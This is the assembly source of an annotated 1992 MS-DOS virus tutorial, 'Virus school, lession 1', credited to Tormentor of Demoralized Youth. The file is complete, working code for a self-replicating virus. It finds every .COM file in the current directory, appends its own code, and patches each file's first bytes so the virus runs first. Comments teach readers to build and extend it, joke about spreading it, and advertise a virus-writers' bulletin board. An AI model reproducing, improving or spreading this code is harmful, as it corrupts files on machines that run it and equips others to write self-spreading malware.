
 ;       Virus school, lession 1         (c) 1992 Tormentor [Demoralized Youth]
 
 ;       This is the first lession on how to make an own virus.
 ;       Hope you'll learn something of it...
 ;       To be compiled with TASM 3.0 or higher.
 
 ;       This virus is quite dumb and 'noisy'
 ;       It updates the filedate and time, changes DTA before execution causing
 ;       some progs to belive they are executed with parameters...
 ;       But this should only be a 'raw' virus that you can develop.
 ;       Certain program may hang, so i recommend you not to spread to geeks
 ;       since there is MANY better viruses to use for such nice purpose.
 
 ;       If you want to conntact me or other virus-writers call me on my board:
 ;       Swedish Virus Laboratory        +46-3191-9393
 
 ;       Greetings to All virus-writers!
 
 
                 .model  tiny
                 .radix  16
                 .code
 
 Virus_Lenght    EQU     Virus_End-Virus_Start   ; Lenght of virus.
 
                 org     100
 
 dummy_code:     db      'M'             ; Mark file as infected.
                 db      3 DUP(90)       ; This is to simulate a infected prog.
                                         ; Not included in virus-code.
 
 Virus_Start:    call    where_we_are    ; Now we call the next bytes, just to
                                         ; know what address virus lies on.
 where_we_are:   pop     si              ; Since the virus-code's address will
                                         ; differ from victim to victim.
                                         ; a POP SI after a call will give us the
                                         ; address which equals to 'where_we_are'
                                         ; Very important.
 
 ;-----------------------------------------------------------------------
 ; Now we have to put back the original 4 bytes in the host program, so
 ; we can return control to it later:
 
                 add     si,_4first_bytes-where_we_are
                 mov     di,100
                 cld
                 movsw
                 movsw
 
 ;------------------------------------------------------------------------
 
 ; We have to use SI as a reference since files differ in size thus making
 ; virus to be located at different addresses.
 
                 sub     si,_4first_bytes-Virus_Start+4
 
 ;------------------------------------------------------------------------
 ; Now we just have to find victims, we will look for ALL .COM files in
 ; the current directory.
 
                 mov     ah,4e           ; We start to look for a *.COM file
 look4victim:    mov     dx,offset file_match-Virus_Start
                 add     dx,si
                 int     21
 
                 jc      no_victim_found ; If no *.COM files was found.
 
                 mov     ax,3d02         ; Now we open the file.
                 mov     dx,9e           ; The found victims name is at ds:009e
                 int     21              ; in DTA.
 
                 jc      cant_open_file  ; If file couldn't be open.
 
                 xchg    ax,bx           ; Save filehandle in bx
 ; (we could use MOV BX,AX but we saves one byte by using xchg )
 
                 mov     ah,3f           ; Now we read the first 4 bytes
                 mov     cx,4            ; from the victim -) buffer
 
                 mov     dx,offset _4first_bytes-Virus_Start
                 add     dx,si
                                         ; We will then overwrite them with
                 int     21              ; a JMP XXXX to virus-code at end.
 
                 jc      read_error
 
                 cmp     byte ptr ds:[si+_4first_bytes-Virus_Start],'M'
                 jz      sick_or_EXE     ; Check if infected OR *.EXE
 ; Almost all EXE files starts with 'M' and we mark the infected files by
 ; starting with 'M' which equals to DEC BP
 ; Now we just have to have one check instead of 2 (infected and *.EXE)
 
                 mov     ax,4202         ; Position file-pointer to point at
                 xor     cx,cx           ; End-of-File.
                 xor     dx,dx           ; Any writing to file will now APPEND it
                 int     21              ; Returns AX -) at end.
 
                 sub     ax,4            ; Just for the JMP structure.
 
                 mov     word ptr ds:[_4new_bytes+2],ax
                                         ; Build new JMP XXXX to virus.
                                         ; ( logic: JMP AX )
 
                 mov     ah,40           ; Append file with virus code.
                 mov     cx,offset Virus_Lenght
                                         ; File-size will increase with
                 mov     dx,si           ; Virus_Lenght.
                 int     21
 
                 jc      write_error
 
                 mov     ax,4200         ; Position file-pointer to begin of file
                 xor     cx,cx           ; So we can change the first 3 bytes
                 xor     dx,dx           ; to JMP to virus.
                 int     21
 
                 mov     ah,40           ; Write new 3 bytes.
                 mov     cx,4            ; After this, executing the file will
                 mov     dx,offset _4new_bytes-Virus_Start
                 add     dx,si
                                         ; result in virus-code executing before
                 int     21              ; original code.
                                         ; (And more files will be infected)
 
                 jc      write_error
 
                 mov     ah,3e           ; Close file, now file is infected.
                 int     21              ; Dos function 3E (close handle)
 
 Sick_or_EXE:    mov     ah,4f           ; Well, file is infected. Now let's
                 jmp     look4victim     ; find another victim...
 
 write_error:            ; Here you can test whats went wrong.
 read_error:             ; This is just for debugging purpose.
 cant_open_file:         ; These entries are equal to eachother
 no_victim_found:        ; but could be changed if you need to test something.
 
                 mov     ax,100          ; Every thing is put back in memory,
                 push    ax              ; lets us RET back to start of program
                 ret                     ; and execute the original program.
 
 notes           db      ' (c) 1992 Tormentor ,Swedish Virus Laboratory'
                 db      ' / Demoralized Youth / '
 
 file_match      db      '*.COM',0       ; Pattern to search for.
                                         ; Don't forget to end with 0 !
 
 _4first_bytes:  ret                     ; Here we save the 4 first org. bytes
                 db      3 DUP(0)
 ; We have a ret here since this file isn't a REAL infection.
 
 _4new_bytes     db      'M',0E9, 00, 00 ; Here we build the 4 new org. bytes
                                         ; so our virus-code will be run first.
 Virus_End       EQU     $
 
                 end     dummy_code
 